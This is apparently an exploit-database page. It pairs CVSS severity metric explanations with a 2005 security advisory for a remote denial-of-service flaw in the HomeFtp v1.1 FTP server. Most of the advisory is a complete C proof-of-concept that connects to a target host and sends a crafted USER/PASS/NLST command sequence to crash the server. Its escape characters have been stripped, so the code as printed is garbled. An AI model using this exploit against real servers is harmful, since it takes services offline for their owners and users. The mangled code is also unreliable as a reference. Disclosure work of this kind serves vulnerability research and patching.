The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
None
C
There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity
None
I
There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
[KAPDA::#21] - HomeFtp v1.1 Denial of Service
KAPDA New advisory
Vulnerable products : HomeFtp v1.1
Vendor: Helmsman(http://www.Frigate3.com)
Risk: High
Vulnerabilities: Denial of service
Date :
--------------------
Found : Aug 21 2005
Vendor Contacted : Aug 21 2005
Release Date : Jan 14 2006
About HomeFtp :
--------------------
FTP server that is easy to use. You can have shared files in your with most comfort.
Vulnerability:
--------------------
Denial of service:
A denial-of-service attack (also, DoS attack) is an attack on a computer system or network that causes a loss of service to users, typically the loss of network connectivity and services by consuming the bandwidth of the victim network or overloading the computational resources of the victim system.
Exploit:
--------------------
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#define POCSTR "USER %sx0dx0aPASS %sx0dx0aNLSTx0dx0a"
int header();
int usage(char *filename);
int remote_connect( char* ip, unsigned short port );
int header() {
printf("n[i] KAPDA - Computer Security Science Researchers Institutenn");
printf("[i] Title: tHomeFTP <= v1.1 Dos Exploitn");
printf("[i] Discovered by: tcvh {a] kapda.irn");
printf("[i] Exploit by: tPi3cH {a] kapda.irn");
printf("[i] More info: twww.kapda.ir/page-advisory.htmlnn");
return 0;
}
int usage(char *filename) {
printf("[i] Usage: t%s HOST PORT USERNAME PASSWORDn",filename);
printf("[i] Example: t%s 127.0.0.1 21 anonymous nonenn",filename);
exit(0);
}
int remote_connect( char* ip, unsigned short port )
{
int s;
struct sockaddr_in remote_addr;
struct hostent* host_addr;
memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
if ( ( host_addr = gethostbyname ( ip ) ) == NULL )
{
printf ( "[e] Cannot resolve "%s"n", ip );
exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons ( port );
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
printf ( "[e] Socket failed!n" );
exit(1);
}
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) == -1 )
{
printf ( "[e] Failed connecting!n" );
exit(1);
}
return ( s );
}
int main(int argc, char *argv[]) {
int s;
char *request;
header();
if( (argc < 5) )
usage(argv[0]);
request = (char *) malloc(1024);
printf("[r] Connecting to remote hostn");
s = remote_connect(argv[1],atoi(argv[2]));
sleep(1);
printf("[r] Creating buffern");
sprintf(request,POCSTR,argv[3],argv[4]);
printf("[r] Sending %d bytes of DOS buffern",strlen(request));
if ( send ( s, request, strlen (request), 0) <= 0 )
{
printf("[e] Failed to send buffern");
close(s);
exit(1);
}
sleep(1);
printf("[s] Exploit Done!n");
close(s);
free(request);
request = NULL;
return 0;
}
Solution:
--------------------
Vendor has b?ta program who fixes this problem
Original Advisory:
--------------------
http://www.kapda.ir/advisory-202.html
Credit :
--------------------
Discoverd by cvh [at} kapda.ir
Exploit by pi3ch [at} kapda.ir
Grtz to all members of KAPDA and GSO.
KAPDA - Computer Security Science Researchers Institute
http://www.KAPDA.ir
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum